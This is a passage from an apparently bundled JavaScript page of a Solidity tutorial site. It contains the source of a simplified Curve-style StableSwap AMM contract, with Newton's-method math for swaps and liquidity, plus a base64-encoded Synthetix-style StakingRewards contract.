        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],Zm=`

                    Simplified version of Curve's stable swap AMM

                    +`,ym=({prev:s,next:a})=>r.jsx(A,{version:dm,title:Cm,description:jm,html:um,prev:s,next:a,codes:Am}),mm="0.8.24",bm="Stable Swap AMM",wm="Curve's stable swap AMM",km=[{fileName:"StableSwap.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],Zm=`

                    Simplified version of Curve's stable swap AMM

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5064,7 +5064,7 @@ Topics
         external
         returns (bool);
 }
-
                    `,Wm=({prev:s,next:a})=>r.jsx(u,{version:mm,title:bm,description:wm,html:Zm,prev:s,next:a,codes:km}),Bm="0.8.24",Gm="Staking Rewards",Vm="Staking rewards contract based on Synthetix StakingRewards.sol",fm=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50MjU2IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50MjU2IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPiAwLCAiYW1vdW50ID0gMCIpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVhcm5lZChhZGRyZXNzIF9hY2NvdW50KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Ym=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    +`,Wm=({prev:s,next:a})=>r.jsx(A,{version:mm,title:bm,description:wm,html:Zm,prev:s,next:a,codes:km}),Bm="0.8.24",Gm="Staking Rewards",Vm="Staking rewards contract based on Synthetix StakingRewards.sol",fm=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50MjU2IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50MjU2IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9